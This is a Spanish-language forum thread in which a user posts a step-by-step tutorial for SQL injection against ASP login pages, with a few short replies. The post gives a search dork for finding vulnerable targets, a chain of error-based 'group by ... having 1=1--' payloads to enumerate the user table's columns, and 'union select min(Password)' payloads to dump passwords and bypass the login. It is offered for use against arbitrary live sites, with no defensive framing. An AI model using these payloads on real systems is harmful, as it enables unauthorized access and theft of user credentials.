Inyección SQL a Login ASP

Iniciado por Stuxnet, 3 Septiembre 2013, 05:54 AM

0 Miembros y 1 Visitante están viendo este tema.

Stuxnet


La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.

Dork: inurl:login.asp

En el en campo "Clave de Acceso" y "Password" del login escribimos:

' having 1= 1--


Al hacerlo nos dara el seguiente error:


Sabemos que es vulnerable y nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave, teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave having 1 = 1--

Hacemos la inyección y el siguiente error sera así:


Nos acaba de dar el nombre de la tabla y la columna "Usuario.Nombre", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre having 1=1--

Hacemos la inyección y el siguiente error sera así:


Nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave_de_Acceso", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso having 1=1--

Hacemos la inyección y el siguiente error sera así:


Nos acaba de dar el nombre de la tabla y la columna "Usuario.Password", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password having 1=1--

Hacemos la inyección y el siguiente error sera así:


Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tipo_de_Usuario", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario having 1=1--

Hacemos la inyección y el siguiente error sera así:



Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tunto_de_Captura", teniendo esto regresamos a nuestro login y escribimos:


' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura having 1=1--


Hacemos la inyección y el siguiente error sera así:


Nos acaba de dar el nombre de la tabla y la columna "Usuario.ESTATUS", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1--

Como podemos observar al hacer esto nos dira "clave de acceso y/o password incorrectos" esto quiere decir que hemos terminado de buscar las tablas y columnas.


Nuestra siguiente inyección sera de esta forma:

' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from Usuario where Clave_de_Acceso > 'a'--

Esta parte tenemos 6 unos y min(LOGIN) es la posición al hacer la inyección les arroja los datos.

La posión de los unos puede varia un ejemplo podría ser:

' union select 1,1,1,1,min(Clave_de_Acceso)1,1 from Usuario where Clave_de_Acceso > 'a'--


Curiosamente al hacer la inyección de esta forma tenemos el acceso:

' union select 1,1,1,1,1,1,min(Password) from Usuario where Clave_de_Acceso > 'ADMIN'--



La inyección para que les arroje la password es:

' union select 1,1,1,1,1,1,min(Password) from Usuario where Password > 'ADMIN'--


Gabow135

hola muy bueno tu manual pero el SQL inyect para asp.net solo funciona si la base de datos esta en sql server xq estoy probando contra posgresql y no funciona nada :( tienes algo contra posgresql??

saludos

Novlucker

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

misterioo